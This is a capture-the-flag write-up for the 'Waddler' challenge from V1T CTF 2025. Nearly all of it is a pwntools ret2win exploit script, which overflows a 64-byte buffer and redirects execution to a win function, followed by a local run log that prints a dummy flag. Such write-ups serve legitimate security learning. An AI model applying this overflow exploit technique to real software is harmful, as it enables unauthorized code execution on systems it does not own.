2025-1
Challenge information
CTF: V1T CTF 2025
Challenge:
WaddlerSolves: 387
Description:
Poke it the right way and it hums back something useful.Time-wasting to solve: 3 min
Writeup
AAH, obviously ret2win.

from pwn import *
from icecream import ic
import sys
e = ELF("chall",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
pay(
b"A"*0x40,
0x0000000000405000-0x20,
0x040129b,
)
sl(payload)
shell()
[~/dc/ctf/v1t/Waddler]$python3 e.py
[+] Starting local process '/home/tsuneki/dc/ctf/v1t/Waddler/chall': pid 17703
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/tsuneki/dc/ctf/v1t/Waddler/chall', '-p', '17703', '-x', '/tmp/pwnlib-gdbscript-y8djc5f3.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
The Ducks are coming!
FLAG: FLAG{DUMMY_FLAG_FOR_TESTING}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process '/home/tsuneki/dc/ctf/v1t/Waddler/chall' stopped with exit code -11 (SIGSEGV) (pid 17703)
Last modified: 04 November 2025